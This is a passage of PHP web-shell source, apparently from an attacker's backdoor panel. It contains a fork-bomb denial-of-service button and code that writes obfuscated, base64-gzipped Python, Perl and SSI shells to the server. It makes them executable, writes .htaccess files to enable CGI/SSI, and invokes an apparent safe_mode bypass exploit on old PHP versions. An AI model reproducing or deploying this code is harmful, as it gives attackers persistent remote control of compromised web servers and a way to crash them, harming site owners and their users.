1687 $text=entitydec($text);
1688 break;
1689 case 'md5':
1690 $text=md5($text);
1691 break;
1692 case 'md5md5':
1693 $text=md5(md5($text));
1694 break;
1695 case 'sha1':
1696 $text=sha1($text);
1697 break;
1698 case 'mysql5':
1699 $text='*'.strtoupper(sha1(sha1($text,TRUE)));
1700 break;
1701 }
1702 $text=htmlentities($text);
1703 echo("$text</textarea><br>");
1704 }
1705 //decoders end
1706 echo '<br><font color="blue">---> DoS</font><font color="gray"> //use this carefully</font><br><br>';
1707 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="e"><input name="extraz" type="hidden" value="fork"><input type="submit" value="forkbomb"></form>';
1708 }
1709 if (!empty($_POST["extraz"])) {
1710 switch ($_POST["extraz"]) {
1711 case "fork":
1712 while(pcntl_fork()|1);
1713 break;
1714 case "pysh":
1715 //code by Michael Foord & 12309, license WTFPL
1716 if ($failflag=="1") {
1717 $pybin="/usr/bin/python";
1718 } else {
1719 $pybin=search("python",$failflag);
1720 }
1721 $pyshcode='#!'.$pybin;
1722 $pyshcode.="\n";
1723 $pyshcode.=gzinflate(base64_decode("bVRRT9swEH7Pr7jlpa0IKWObtLGmUoEClWBFbR82QRW5idNaS+LIdqBl2n/fnZ10BfGU3N33fXc+n8+o3ZkHoqikMpCshVl9d5+Ql2yV827P49uEVwZRFdPaa6B6pwMCBiC1h0aoTcqVgggaQ9bGy5QswIiCtwm0URnZrYpRLOErlvx20LlRolxPpi28tRuhFtyGK4yaGMvzRIZlYMVPQsky3DAd/+a7rj+/mE3uF/GP0d3Y7+EBdKJEZUqGBUUHhIdXwKXHc83fon3fS3kGa24yqYruE8trngttAjAbTq4ASmkqxTUvTdTpULqUGYbUP389QARkgucpiBL2ZMQAlo7EVmVfuwWTCFiZB2svUe1/Fow1lVoVMLuKdxudBt+DD5HzPyyd2Bu11/DQVkawvbArViO0YFU3Z8UqZbA9g63DBm8Ueu/kcAoeKG5qVdqg17A2nKW2uf7gZnF3OxzcjEeXw8FisrgdD9ELR4e3cERAOAYGF9cTWO3gqn552RWsDKCuUJan5Px4+unk26DvNAZ9p3g+vfxFgt5KpjteUtLOoG+9CKHUHQ/HF0viWtvg+XAuC242OIDwjN2GZ5yUNXJQbDYc3M/GSMG2xzHVFscQISuOCybKOO7Qa6HpBP9Clgbpx3QLZ2D41vQ3psj9BmBHo8CM+JbCK2rZ3EjF1vTw2gFqh+6hkxRpZxmQgVHsIdoYt+12sTbtQX+91mgafTWd3cHdeHEzvYwe/fvpfPHoA0uMkGX0fsuHA1FWtQHyIAUTIYPOgwYdCC0tXsj6fPLou/44RgPS9aoQBLOjgI5r2eL6VI69mdeVezTS7oQ0hy5Gt9IJGndgb9CpLMY/F6PZeASJzHXkfz3xQcln/Dv94uM14duwaw4g2Yg8jXE9CRyavYG7yi2ESla8PO26BL03hDDJpbb3AjjLus6JdKgRKmx39zWN3Ac8dw7HpvdrVyuM7QcvIAD36hxsP5DkyjBZuw8PtGj94bLIeZRZJ81LFuLE2FZ3e6GucmFyUXLtWLSJyKRFxNwTd9nIedDpfttT6p9zNm/H+wc="));
1724 $htaccess=$htaccesses['cgi'];
1725 if (strnatcmp(version(),"5.2.9") <= 0) {
1726 sploent516();
1727 }
1728 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1729 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1730 else {
1731 fwrite($fh,$pyshcode);
1732 fclose($fh);
1733 echo $_POST["file"]." write done, chmoding..<br>";
1734 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1735 if (!$ch) {
1736 echo "chmod failed, make chmod 755 manually<br>";
1737 } else {
1738 echo "chmod done<br>";
1739 }
1740 if ($_POST["htaccess"] == "on") {
1741 $fh=fopen($_POST["dir"]."/.htaccess","w");
1742 fwrite($fh,$htaccess);
1743 fclose($fh);
1744 echo "htaccess done";
1745 }
1746 }
1747 break;
1748 case "perlsh":
1749 //author/license unknown
1750 if ($failflag=="1") {
1751 $perlbin="/usr/bin/perl";
1752 } else {
1753 $perlbin=search("perl",$failflag);
1754 }
1755 $perlshcode='#!'.$perlbin;
1756 $perlshcode.="\n";
1757 $perlshcode.=gzinflate(base64_decode("TVFLTwIxEL73V4wNMSXZFdSYGBY2QQ7E+DioRxKtu7PSpNuubRdQ5L87XYR4m3bme8w3rUeYzW/hcz1IjX3dLEOtYeSDNKV05SBj7X5gNJpJ19CYqGSQ2r/YG2fXHl0/Y41TJsASZYlOpMVSOo8BJjnwNlTpNe8njAhdeI3kItXSfHRd1/IE0qCCxu7NiUtVIKCRTtaiD33YsvoLeiuY/P3xFT8K9lYJ8PG7yxeGZ91cUDXalqThcpgxbQupofd8O99O758edvTt23fYQqEtLXU3fTwwcSCCUiHwPwaewS5jvUaVBLINGkHTpEZOLvLTc/iJLjpAIc0bWTk5IxPQGo3eg4hAGsAV6W+Z1NLV4mDuaL+zPg64oWhQQmG1nyz49XDBISZL9cXVgufkbL1UGgWMyUMeM4GOgCwemQYHmjySEmSvOSSxf8vu2AGxP0dlXZ2wCK0U6lKkRtY4ySljOotX31RTkFTTHi3uL5TEDGsVBJ/beFg0ZUcDVHT3pbU31I7Svw=="));
1758 $htaccess=$htaccesses['cgi'];
1759 if (strnatcmp(version(),"5.2.9") <= 0) {
1760 sploent516();
1761 }
1762 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1763 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1764 else {
1765 fwrite($fh,$perlshcode);
1766 fclose($fh);
1767 echo $_POST["file"]." write done, chmoding..<br>";
1768 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1769 if (!$ch) {
1770 echo "chmod failed, make chmod 755 manually<br>";
1771 } else {
1772 echo "chmod done<br>";
1773 }
1774 if ($_POST["htaccess"] == "on") {
1775 $fh=fopen($_POST["dir"]."/.htaccess","w");
1776 fwrite($fh,$htaccess);
1777 fclose($fh);
1778 echo "htaccess done";
1779 }
1780 }
1781 break;
1782 case "ssish":
1783 // code by profexer
1784 $ssishcode=gzinflate(base64_decode("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"));
1785 $htaccess=$htaccesses['ssi'];
1786 if (strnatcmp(version(),"5.2.9") <= 0) {
1787 sploent516();
1788 }
1789 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1790 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1791 else {
1792 fwrite($fh,$ssishcode);
1793 fclose($fh);
1794 echo $_POST["file"]." write done<br>";
1795 if ($_POST["htaccess"] == "on") {
1796 $fh=fopen($_POST["dir"]."/.htaccess","w");
1797 fwrite($fh,$htaccess);
1798 fclose($fh);
1799 echo "htaccess done";
1800 }
1801 }
1802 break;
1803 }
1804 }
1805 break;
1806// extras end ###
1807 case "pi":
1808 phpinfo();
1809 break;
1810}